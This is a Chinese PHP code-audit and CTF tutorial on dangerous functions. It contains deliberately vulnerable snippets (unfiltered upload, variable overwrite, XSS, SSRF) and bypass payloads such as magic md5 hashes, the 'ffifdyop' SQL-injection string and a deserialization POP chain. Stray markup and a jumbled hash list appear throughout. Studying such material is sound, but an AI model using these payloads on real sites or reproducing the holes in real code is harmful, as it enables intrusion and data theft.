fopen(filename,mode,include_path,context)
+

参数​

+
    +
  • filename:必需。要打开的文件或URL
  • +
  • mode:必需。规定访问类型(例如只读,只写,读写方式等,方式的规定和其他语言的规定方式一致)
  • +
  • include_path:可选。就是你可以指定搜索的路径位置,如果要指定的话,那么该参数要指定为- context:可选。规定句柄的环境。
  • +
+

代码示例:

+
<?php
$file = fopen("demo.txt","rb");
$content = fread($file,1024);
echo $content;
fclose($file);
?>

执行结果——>
I am a demo text
+

这段代码中其实也包含了fread的用法。因为fread仅仅只是打开一个文件,要想读取还得需要用到fread来读取文件内容。

+

fread()​

+

这个函数刚才在上个函数中基本已经演示过了,就是读取文件内容。这里代码就不再演示了,简单介绍一下参数和用法。

+
string fread ( resource $handle , int $length )
+

参数​

+
    +
  • handle:文件系统指针,是典型地由 fopen创建的resource。
  • +
  • length:必需。你要读取的最大字节数。
  • +
+

fgets()​

+

从打开的文件中读取一行

+
fgets(file,length) 
+

参数​

+
    +
  • file:必需。规定要读取的文件。
  • +
  • length:可选。规定要读取的字节数。默认是1024字节。
  • +
+

可以看出这个函数和之前的fread区别不是很大,只不过这个读取的是一行。

+

fgetss()​

+

这个函数跟上个没什么差别,也是从打开的文件中读取去一行,只不过过滤掉了 HTML 和 PHP 标签。

+
fgetss(file,length,tags)
+

参数​

+
    +
  • file:必需。要检查的文件。
  • +
  • length:可选。规定要读取的字节数,默认1024字节。
  • +
  • tags:可选。哪些标记不去掉。
  • +
+

代码示例:

+
<?php
$file = fopen("demo.html","r");
echo fgetss($file);
fclose($file);
?>

demo.html代码
<h1>I am a demo</h1>

执行结果——>
I am a demo
+

readfile()​

+

这个函数从名称基本就知道它是干啥的了,读文件用的。此函数将读取一个文件,并写入到输出缓冲中。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。

+
readfile(filename,include_path,context)
+

参数​

+
    +
  • filename:必需。要读取的文件。
  • +
  • include_path:可选。规定要搜索的路径。
  • +
  • context:可选。规定文件句柄环境。
  • +
+

代码示例:

+
<?php
echo "<br>" . readfile("demo.txt");
?>

执行结果——>
I am a demo:) I am a demo:(
+

我们看到不仅输出了所有内容,而且还输出了总共长度。但是没有输出换行。

+

file()​

+

把文件读入到一个数组中,数组中每一个元素对应的是文件中的一行,包括换行符。

+
file(path,include_path,context)
+

参数​

+
    +
  • path:必需。要读取的文件。
  • +
  • include_path:可选。可指定搜索路径。
  • +
  • context:可选。设置句柄环境。
  • +
+

代码示例:

+
<?php
print_r(file("demo.txt"));
?>

执行结果——>
Array
(
[0] => I am the first line!
[1] => I am the second line!
)
+

parse_ini_file()​

+

从名称可以看出,这个函数不是读取一个简单的文件。它的功能是解析一个配置文件(ini文件),并以数组的形式返回其中的位置。

+
parse_ini_file(file,process_sections)
+

参数​

+
    +
  • file:必需。要读取的ini文件
  • +
  • process_sections:可选。若为TRUE,则返回一个多维数组,包括了详细信息
  • +
+

代码示例:

+
<?php
print_r(parse_ini_file("demo.ini"));
?>

demo.ini内容:
[names]
me = Robert
you = Peter

[urls]
first = "http://www.example.com"
second = "https://www.runoob.com"

执行结果——>
Array
(
[me] => Robert
[you] => Peter
[first] => http://www.example1.com
[second] => https://www.example2.com
)
+

show_source()/highlight_file()​

+

这两个函数没什么好说的,想必大家也经常见到这两个函数,其作用就是让php代码显示在页面上。这两个没有任何区别,show_source其实就是highlight_file的别名。

+

总结​

+

文件读取这块内容没什么好说的,不难,大多只是基本的应用。重点文件读取如果没有设置权限和过滤参数,那就问题大了,我们就可以任意文件读取了。

+

补充:什么是句柄?

+

开局先给一段代码

+
$file = fopen("demo.txt","rb");
+

在这段代码中$file就是一个句柄。句柄关键点在“柄”,后面的fopen是一个资源,好比一口锅,而前面的$file就好比这个锅的把手。那么以后我们在操作的时候操作把手就行了。通过这个把手我们可以间接操作比较大的资源。其实也类似C语言中的指针,只是一个标识。

+

文件上传​

+

move_uploaded_file()​

+

此函数是将上传的文件移动到新位置。

+
move_uploaded_file(file,newloc)
+

参数​

+
    +
  • file:必需。规定要移动的文件。
  • +
  • newloc:必需。规定文件的新位置。
  • +
+

本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

+

如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false。

+

如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false,此外还会发出一条警告。

+

代码示例:

+
$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],$fileName )
+

这段代码就是直接接收上传的文件,没有进行任何的过滤,那么当我们上传getshell的后门时,就可以直接获取权限,可见这个函数是不能乱用的,即便要用也要将过滤规则完善好,防止上传不合法文件。

+

文件删除​

+ +

此函数用来删除文件。成功返回 TURE ,失败返回 FALSE。

+
unlink(filename,context)
+

参数​

+
    +
  • filename:必需。要删除的文件。
  • +
  • context:可选。句柄环境。
  • +
+

我们知道,一些网站是有删除功能的。比如常见的论坛网站,是有删除评论或者文章功能的。倘若网站没有对删除处做限制,那么就可能会导致任意文件删除(甚至删除网站源码)。

+

代码示例:

+
<?php
$file = "demo.txt";
if(unlink($file)){
echo("$file have been deleted");
}
else{
echo("$file not exist?")
}
php>
+

session_destroy()​

+

在了解这个函数之前,我们需要先了解 PHP session。 PHP session 变量用于存储关于用户会话的信息。关于 sesson 的机制这里我就不再过于详细介绍。

+

session_destroy()函数用来销毁一个会话中的全部数据,但并不会重置当前会话所关联的全局变量,同时也不会重置会话 cookie

+

代码示例:

+
<?php
// 初始化会话。
// 如果要使用会话,别忘了现在就调用:
session_start();

// 重置会话中的所有变量
$_SESSION = array();

// 如果要清理的更彻底,那么同时删除会话 cookie
// 注意:这样不但销毁了会话中的数据,还同时销毁了会话本身
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}

// 最后,销毁会话
session_destroy();
?>
+

变量覆盖​

+

extract()​

+

此函数从数组中将变量导入到当前的符号表。其实作用就是给变量重新赋值,从而达到变量覆盖的作用。

+
extract(array,extract_rules,prefix)
+

参数​

+
    +
  • array:必需。规定要使用的数组。
  • +
  • extract_rules:可选。extract函数将检查每个键名是否为合法的变量名,同时也检查和符号中已经存在的变量名是否冲突,对不合法或者冲突的键名将会根据此参数的设定的规则来决定。 +
      +
    • EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
    • +
    • EXTR_SKIP - 如果有冲突,不覆盖已有的变量。
    • +
    • EXTR_PREFIX_SAME - 如果有冲突,在变量名前加上前缀 prefix。
    • +
    • EXTR_PREFIX_ALL - 给所有变量名加上前缀 prefix。
    • +
    • EXTR_PREFIX_INVALID - 仅在不合法或数字变量名前加上前缀 prefix。
    • +
    • EXTR_IF_EXISTS - 仅在当前符号表中已有同名变量时,覆盖它们的值。其它的都不处理。
    • +
    • EXTR_PREFIX_IF_EXISTS - 仅在当前符号表中已有同名变量时,建立附加了前缀的变量名,其它的都不处理。
    • +
    • EXTR_REFS - 将变量作为引用提取。导入的变量仍然引用了数组参数的值。
    • +
    +
  • +
  • prefix:可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
  • +
+

代码示例:

+
<?php
$color = "blue";
$one_array = array("color" => "red",
"size" => "medium",
"name" => "dog");
extract($one_array);
echo "$color, $size, $name";
?>

执行结果——>
red, medium, dog
+

在上述代码中,我们看到,本来我们定义的color是blue,输出的时候变成了red,本来我们没有定义size和name,可是却能输出这两个变量。

+

还有一些在CTF比赛中出现过的用法,比如直接让你POST传参来改变某个变量的值。

+

代码示例:

+
<?php
$name = 'cat';
extract($_POST);
echo $name;
?>
+

参时如果我们POST传入name=dog,那么页面将会回显dog,说明这个函数的使用让我们实现了变量的覆盖,改变了变量的值。

+

parse_str()​

+

此函数把查询到的字符串解析到变量中。

+
parse_str(string,array)
+

参数​

+
    +
  • string:必需。规定要解析的字符串。
  • +
  • array:可选。规定存储变量的数组名称。该参数只是变量存储到数组中。
  • +
+

代码示例:

+
<?php
parse_str("name=Ameng&sex=boy",$a);
print_r($a);
?>

执行结果——>
Array
(
[name] => Ameng
[sex] => boy
)
+

上述代码是有array情况下的使用情况,那么如何实现变量的覆盖呢?如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

+

代码示例:

+
<?php
$name = 'who';
$age = '20';
parse_str("name=Ameng&age=21");
echo "$name, $age";
?>
执行结果——>
Ameng, ```


通过上述代码,我们可以发现,变量name和age都发生了变化,被新的值覆盖了。这里我用的是 PHP 7.4.3 版本。发现这个函数的这个作用还是存在的,且没有任何危险提示。

### import_request_variables()

此函数将GET/POST/Cookie变量导入到全局作用域中。从而能够达到变量覆盖的作用。

版本要求:PHP 4 >= 4.1.0, PHP 5 < 5.4.
```php
bool import_request_variables ( string $types [, string $prefix ] )
+

参数​

+
    +
  • types:指定需要导入的变量,可以用字母 G、P 和 C 分别表示 GET、POST 和 Cookie,这些字母不区分大小写,所以你可以使用 g 、 p 和 c 的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序,当使用 gp 时,POST 变量将使用相同的名字覆盖 GET 变量。
  • +
  • prefix:变量名的前缀,置于所有被导入到全局作用域的变量之前。所以如果你有个名为 userid 的 GET 变量,同时提供了 pref_ 作为前缀,那么你将获得一个名为 $pref_userid 的全局变量。虽然 prefix 参数是可选的,但如果不指定前缀,或者指定一个空字符串作为前缀,你将获得一个 E_NOTICE 级别的错误。
  • +
+

代码示例:

+
<?php
$name = 'who';
import_request_variables('gp');
if($name == 'Ameng'){
echo $name;
}
else{
echo 'You are not Ameng';
}
?>
+

如果什么变量也不传,那么页面将回显You are not Ameng如果通过GET或者POST传入name=Ameng那么页面就会回显Ameng

+

可以见到此函数还是很危险的,没有修复方法,不使用就是最好的方法。所以在新版本的 PHP 中已经废弃了这个函数。

+

foreach()​

+

foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

+
foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement
+

第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

+

第二种格式做同样的事,只是除了当前单元的键名也会在每次循环中被赋给变量 $key。

+

那么这个函数如何实现变量的覆盖呢?我们来看个案例.

+

代码示例:

+
<?php
$name = 'who';
foreach($_GET as $key => $value) {
$$key = $value;
}
if($name == "Ameng"){
echo 'You are right!';
}
else{
echo 'You are flase!';
}
?>
+

那么执行结果是怎样的呢?当我们直接打开页面的时候它会输出You are false!,而当我们通过GET传参name=Ameng的时候,它会回显You are right!。那么这是为什么呢?我们来分析一下

+

关键点就在于$$这种写法。这种写法称为可变变量。一个变量能够获取一个普通变量的值作为这个可变变量的变量名。当使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。这样就产生了变量覆盖漏洞,如上代码示例。其执行过程为$$key=$name,最后赋值为$value,从而实现了变量覆盖。

+

弱类型比较​

+

md5()函数和sha1()绕过​

+

关于这两个函数想必我们不陌生,无论是在实际代码审计中,还是在CTF比赛中,这些我们都是碰到过的函数。那么当我们遇到用这两个函数来判断的时候,如果绕过呢?

+

PHP 在处理哈希字符串的时候,会使用!=或者==来对哈希值进行比较,它会把每一个0E开头的哈希值都解释为0,那么这个时候问题就来了,如果两个不同的值,经过哈希以后它们都变成了0E开头的哈希值,那么 PHP 就会将它们视作相等处理。那么0E开头的哈希值有哪些呢?

+
s878926199a
0e5459932745177090343288558410s155964671a
0e3427684168224515249741172544s214587387a
0e8482404488305379244658656119s214587387a
0e8482404488305379244658656119s878926199a
0e5459932745177090343288558410s1091221200a
0e9406242178565615578163273846s1885207154a
0e5093672134182067008420087635s1502113478a
0e8615801632915612474043813960s1885207154a
0e5093672134182067008420087635s1836677006a
0e4810364908676611132600349007s155964671a
0e3427684168224515249741172544s1184209335a
0e0724858203927733895231090820s1665632922a
0e7311980614911630731971283637s1502113478a
0e8615801632915612474043813960s1836677006a
0e4810364908676611132600349007s1091221200a
0e9406242178565615578163273846s155964671a
0e3427684168224515249741172544s1502113478a
0e8615801632915612474043813960s155964671a
0e3427684168224515249741172544s1665632922a
0e7311980614911630731971283637s155964671a
0e3427684168224515249741172544s1091221200a
0e9406242178565615578163273846s1836677006a
0e4810364908676611132600349007s1885207154a
0e5093672134182067008420087635s532378020a
0e2204630958555115075880412058s878926199a
0e5459932745177090343288558410s1091221200a
0e9406242178565615578163273846s214587387a
0e8482404488305379244658656119s1502113478a
0e8615801632915612474043813960s1091221200a
0e9406242178565615578163273846s1665632922a
0e7311980614911630731971283637s1885207154a
0e5093672134182067008420087635s1836677006a
0e4810364908676611132600349007s1665632922a
0e7311980614911630731971283637s878926199a
0e5459932745177090343288558410```


来个简单的例子吧

代码示例:

```php
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
echo '这就是弱类型绕过';
}
else{
echo '再思考一下';
}
?>
+

从上面我给出的哪些值中,挑两个不同的值传入参数,就能看到相应的结果

+

上面是md5()函数的绕过姿势,那么sha1()如何绕过呢?再来看一个简单的例子

+
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a,$b)){
if(sha1($a) === sha1($b)){
echo 'nice!!!';
}
else{
echo 'Try again!';
}
}
?>
+

当我们传入a[]=1&b[]=2的时候,虽然它会给出警告,说我们应该传入字符串而不应该是数组,但是它还是输出了nice!!!,所以我们完全可以用数字来绕过sha1()函数的比较。

+

is_numeric()绕过​

+

我们先来了解一下这个函数。此函数是检测变量是否为数字或者数字字符串

+
is_numeric( mixed $var) : bool
+

如果var是数字或者数字字符串那么就返回TRUE,否则就返回FALSE。那么这里说的绕过是什么姿势呢?是十六进制。我们先来看一个简单的例子。

+

代码示例:

+
<?php
$a = is_numeric('0x31206f722031');
if($a){
echo 'It meets my requirement';
}
else{
echo 'Try again';
}
?>
执行结果——>
It meets my requirement
+

这里说一下0x31206f722031这个是什么?这个是or 1=1的十六进制,从这里可以看出,如果某处使用了此函数,并将修饰后的变量带入数据库查询语句中,那么我们就能利用此漏洞实现sql注入。同样的,这个漏洞再CTF比赛中也是很常见的。

+

in_array()绕过​

+

此函数用来检测数组中是否存在某个值。

+
in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool
+

参数​

+
    +
  • needle:带搜索的值(区分大小写)。
  • +
  • haystack:带搜索的数组。
  • +
  • strict:若此参数的值为TRUE,那么in_array()函数将会检查needle的类型是否和haystack中的类型相同。
  • +
+

有时候我们再传入一个数组的时候,代码可能会过滤某些敏感字符串,但是我们又需要传入这样的字符串,那么我们应该如何绕过它的检测呢?

+
<?php
$myarr = array('Ameng');
$needle = 0;
if(in_array($needle,$myarr)){
echo "It's in array";
}
else{
echo "not in array";
}
?>
+

上面代码示例执行的结果会是什么呢?从简单的逻辑上分析。0是不存在要搜索的数组中的,所以理论上,应该是输出not in array,但是实际却输出了It's in array。这是为什么呢?原因就在于PHP的默认类型转换。这里我们第三个参数并没有设置为true那么默认就是非严格比较,所以在数字与字符串进行比较时,字符串先被强制转换成数字,然后再进行比较。并且因为某些类型转换正在发生,就会导致发生数据丢失,并且都被视为相同。所以归根到底还是非严格比较导致的问题。所以再遇到这个函数用来变量检测的时候,我们可以看看第三个参数是否开启,若未开启,则存在数组绕过。

+

XSS​

+

在这里首先你要对XSS的基本原理要知道。PHP中一下这些函数之所以会出现XSS的漏洞情况,主要还是没有对输出的变量进行过滤。

+

print()​

+

代码示例:

+
<?php
$str = $_GET['x'];
print($str);
?>
+

img

+ +

代码示例:

+
<?php
$str = $_GET['x'];
print_r($str);
?>
+

img

+

echo()​

+

代码示例:

+
<?php
$str = $_GET['x'];
echo "$str";
?>
+

我们传入相应参数,执行结果如下:

+

img

+

printf()​

+

代码示例:

+
<?php
$str = $_GET['x'];
printf($str);
?>
+

执行结果和上面相同,我就不再贴图片了。

+

sprintf()​

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = sprintf($str);
echo "$a";
?>
+

die()​

+

此函数输出一条信息,并退出当前脚本。

+

代码示例:

+
<?php
$str = $_GET['x'];
die($str);
?>
+

var_dump()​

+

此函数打印变量的相关信息,用来显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开之,通过缩进显示其结构。

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = array($str);
var_dump($a);
?>
+

var_export()​

+

此函数输出或者返回一个变量的字符串表示。它返回关于传递给该函数的变量的结构信息,和var_dump类似,不同的是其返回的表示是合法的 PHP 代码。

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = array($str);
var_export($a);
?>
+

img

+

PHP黑魔法​

+

这里大部分函数的使用已经在上面详细介绍过了,这里我就针对每一种函数大概介绍一下其主要存在的利用方法。

+

md5()​

+

md5()函数绕过sql注入。我们来看一个例子。

+

代码示例:

+
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
+

这里提交的参数通过md5函数处理,然后再进入SQL查询语句,所以常规的注入手段就不行了,那么如果md5后的转换成字符串格式变成了'or'xxxx的格式,不就可以注入了么。md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c

+

转成字符串为'or'6xxx

+

eval()​

+

在执行命令时,可使用分号构造处多条语句。类似这种。

+
<?php
$cmd = "echo 'a';echo '--------------';echo 'b';";
echo eval($cmd);
?>
+

ereg()​

+

存在%00截断,当遇到使用此函数来进行正则匹配时,我们可以用%00来截断正则匹配,从而绕过正则。

+

strcmp()​

+

这个在前面介绍过,就是数组绕过技巧。

+

curl_setopt()​

+

存在ssrf漏洞。

+

代码示例:

+
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['Ameng']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
+

使用file协议进行任意文件读取

+

img

+

除此之外还有dict协议查看端口信息。gopher协议反弹shell利用等。

+

preg_replace()​

+

此函数前面详细介绍过,/e模式下的命令执行。

+

urldecode()​

+

url二次编码绕过。

+

代码示例:

+
<?php
$name = urldecode($_GET['name']);
if($name = "Ameng"){
echo "Plase~";
}
else{
echo "sorry";
}
?>
+

将Ameng进行二次url编码,然后传入即可得到满足条件。

+

file_get_contents()​

+

常用伪协议来进行绕过。

+

parse_url()​

+

此函数主要用于绕过某些过滤,先简单了解一下函数的基本用法。

+

代码示例:

+
<?php
$url = "http://www.jlx-love.com/about";
$parts = parse_url($url);
print_r($parts);
?>

执行结果——>
Array
(
[scheme] => http
[host] => www.jlx-love.com [path] => /about
)
+

可以看到这个函数把我们的变量值拆分成一个几个部分。那么绕过过滤又是说的哪回事呢?其实就是当我们在浏览器输入url时,那么就会将url中的\转换为/,从而就会导致parse_url的白名单绕过。

+

反序列化漏洞​

+

简介​

+

在了解一些函数之前,我们首先需要了解什么是序列化和反序列化。

+

序列化:把对象转换为字节序列的过程成为对象的序列化。

+

反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

+

归根到底,就是将数据转化成一种可逆的数据结构,逆向的过程就是反序列化。

+

在 PHP 中主要就是通过serialize和unserialize来实现数据的序列化和反序列化。

+

那么漏洞是如何形成的呢?

+

PHP 的反序列化漏洞主要是因为未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而就可以导致各种危险行为。

+

那么我们先来看一看序列化后的数据格式是怎样的,了解了序列化后的数据,我们才能更好的理解和利用漏洞。所以我们来构造一段序列化的值。

+

代码示例:

+
<?php
class Ameng{
public $who = "Ameng";
}
$a = serialize(new Ameng);
echo $a;
?>
执行结果——>
O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}
+

img

+

这里还要补充一点,就是关于变量的分类,变量的类别有三种:

+
    +
  • public:正常操作,在反序列化时原型就行。
  • +
  • protected:反序列化时在变量名前加上%00*%00。
  • +
  • private:反序列化时在变量名前加上%00类名%00。
  • +
+

序列化我们知道了是个什么格式,那么如何利用反序列化来触发漏洞进行利用呢?

+

__wakeup()​

+

在我们反序列化时,会先检查类中是否存在__wakeup()如果存在,则执行。但是如果对象属性个数的值大于真实的属性个数时就会跳过__wakeup()执行__destruct()。

+

影响版本:

+

PHP5 < 5.6. +PHP7 < 7.0. +代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';

function __destruct(){
echo "destruct执行<br>";

echo highlight_file($this->name, true);
}


function __wakeup(){
echo "wakeup执行<br>";
$this->name='1.php';
}
}
$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
unserialize($data);
?>
+

执行结果:

+

img

+

__sleep()​

+

__sleep()函数刚好与__waeup()相反,前者是在序列化一个对象时被调用,后者是在反序列化时被调用。那么该如何利用呢?我们看看代码。

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';

public function __construct($name){
$this->name=$name;
}

function __sleep(){
echo "sleep()执行<br>";
echo highlight_file($this->name, true);
}

function __destruct(){
echo "over<br>";
}

function __wakeup(){
echo "wakeup执行<br>";
}
}
$a = new Ameng("2.php");
$b = serialize($a);
?>
+

执行结果:

+

img

+

__destruct()​

+

这个函数的作用其实在上面的例子中已经显示了,就是在对象被销毁时调用,倘若这个函数中有命令执行之类的功能,我们完全可以利用这一点来进行漏洞的利用,得到自己想要的结果。

+

__construct()​

+

这个函数的作用在__sleep()也是体现了的,这个函数就是在一个对象被创建时会调用这个函数,比如我在__sleep()中用这个函数来对变量进行赋值。

+

__call()​

+

此函数用来监视一个对象中的其他方法。当你尝试调用一个对象中不存在的或者被权限控制的方法,那么__call就会被自动调用

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{

public function __call($name,$args){
echo "<br>"."call执行失败";
}

public static function __callStatic($name,$args){
echo "<br>"."callStatic执行失败";
}
}
$a = new Ameng;
$a->b();
Ameng::b();
?>
+

执行结果:

+

img

+

__callStatic()​

+

这个方法是 PHP5.3 增加的新方法。主要是调用不可见的静态方法时会自动调用。具体使用在上面代码示例和结果可见。那么这两个函数有什么值得我们关注的呢?想一想,倘若这两个函数中有命令执行的函数,那么我们调用对象中不存在方法时就可以调用这两个函数,这不就达到我们想要的目的了。

+

__get()​

+

一般来说,我们总是把类的属性定义为private。但有时候我们对属性的读取和赋值是非常频繁,这个时候PHP就提供了两个函数来获取和赋值类中的属性。

+

get方法用来获取私有成员属性的值。

+

代码示例:

+
//__get()方法用来获取私有属性
public function __get($name){
return $this->$name;
}
+

参数​

+
    +
  • $name:要获取成员属性的名称。
  • +
+

__set()​

+

此方法用来给私有成员属性赋值。

+

代码示例:

+
//__set()方法用来设置私有属性
public function __set($name,$value){
$this->$name = $value;
}
+

参数​

+
    +
  • $name:要赋值的属性名。
  • +
  • $value:给属性赋值的值。
  • +
+

__isset()​

+

这个函数是当我们对不可访问属性调用isset()或者empty()时调用。

+

在这之前我们要先了解一下isset()函数的使用。isset()函数检测某个变量是否被设置了。所以这个时候问题就来了,如果我们使用这个函数去检测对象里面的成员是否设定,那么会发生什么呢?

+

若对象的成员是公有成员,那没什么问题。倘若对象的成员是私有成员,那这个函数就不行了,人家根本就不允许你访问,你咋能检测人家是否设定了呢?那我们该怎么办?这个时候我们可以在类里面加上__isset()方法,接下来就可以使用isset()在对象外面访问对象里面的私有成员了。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;

public function __construct($name=""){
$this->name = $name;
}

public function __isset($content){
echo "当在类外面调用isset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
echo isset($ameng->name);
?>
+

执行结果:

+

img

+

__unset()​

+

这个方法基本和__insset情况一致,都是在类外访问类内私有成员时要调用这个函数,基本调用的方法和上面一致。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;

public function __construct($name=""){
$this->name = $name;
}

public function __unset($content){
echo "当在类外面调用unset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
unset($ameng->name);
?>
+

执行结果:

+

img

+

toString()​

+

此函数是将一个对象当作一个字符串来使用时,就会自动调用该方法,且在该方法中,可以返回一定的字符串,来表示该对象转换为字符串之后的结果。

+

通常情况下,我们访问类的属性的时候都是$实例化名称->属性名这样的格式去访问,但是我们不能直接echo去输出对象,可是当我们使用__tostring()就可以直接用echo来输出了。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __toString(){
return $this->name . $this->age . '岁了';
}
}
$ameng = new Ameng('Ameng',3);
echo $ameng;
?>
+

执行结果:

+
Ameng3岁了
+

__invoke()​

+

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

+

版本要求:

+

PHP > 5.3. +代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __invoke(){
echo '你用调用函数的方式调用了这个对象,所以我起作用了';
}
}
$ameng = new Ameng('Ameng',3);
$ameng();
?>
执行结果——>
你用调用函数的方式调用了这个对象,所以我起作用
+

pop链的构造​

+

思路​

+
    +
  1. 寻找位点(unserialize函数—>变量可控)
  2. +
  3. 正向构造(各种方法)
  4. +
  5. 反向推理(从要完成的目的出发,反向推理,最后找到最先被调用的位置处)
  6. +
+

来看一个简单的例子(HECTF):

+
<?php
class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token_flag = $this->token = md5(rand(1,10000));
$this->token =&$this->token_flag;
}
public function __invoke(){
$this->token_flag = md5(rand(1,10000));

if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
echo $this->source."<br>";
}

public function __toString()
{
$this->str['str']->source;
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
+

我们要拿到flag,在__invoke()函数,当对象被当作函数调用时,那么就会自动执行该函数。所以我们要做的就是用函数来调用对象。

+

那么我们首先找到起点,就是unserialize函数的变量,因为这个变量是我们可控的,但是肯定是过滤了一些常见的协议,那些协议我在上面也简单介绍过用法。

+

通过函数的过程搜索,我们能够看到preg_match第二个参数会被当作字符串处理,在类Test中,我们可以给$func赋值给Read对象。

+

那么我们可以构造如下pop链

+
<?php 
··········
$read = new Read();
$show = new Show();
$test = new Test();

$read->token = &$read->token_flag;
$test->params = $read;
$show->str['str'] = $test;
$show->source = $show;
echo serialize($show);
?>
+

给个图总结一下:

+

img

+

phar与反序列化​

+

简介​

+

PHAR("PHP archive")是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。

+

文件结构​

+
    +
  1. +

    a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,否则phar扩展无法将该文件识别为phar文件。

    +
  2. +
  3. +

    官方手册

    +

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

    +
  4. +
+

img

+

实验​

+

前提:将php.ini中的phar.readonly选项设置为off,不然无法生成phar文件。

+
phar.php:​
+
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='Hello I am Ameng';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
+

在我们访问之后,会在当前目录下生成一个phar.phar文件,如下图所示。

+

img

+

然后查看文件的十六进制形式,我们就可以看到meta-data是以序列化的形式存储。既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图

+

img

+
Ameng.php​
+
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
+

执行结果:

+

img

+

这里简单介绍一下phar的大致应用,更详细可以参考seebug (opens new window)。

+

其他一些总结​

+

basename()​

+

此函数返回路径中的文件名的一部分(后面)

+
basename(path,suffix)
+

参数​

+
    +
  • path:必需。规定要检查的路径。
  • +
  • suffix:可选。规定文件的扩展名。
  • +
+

代码示例:

+
<?php
$path = "index.php/test.php";
echo basename($path);
?>

执行结果——>
test.php
+

此函数还有一个特点,就是会去掉文件名的非ASCII码值。

+

代码示例:

+
<?php
$path = $_GET['x'];
print_r(basename($path));
?>
+

我们通过 url 传入参数x=index.php/config.php/%ff

+

结果如下:

+

img

+

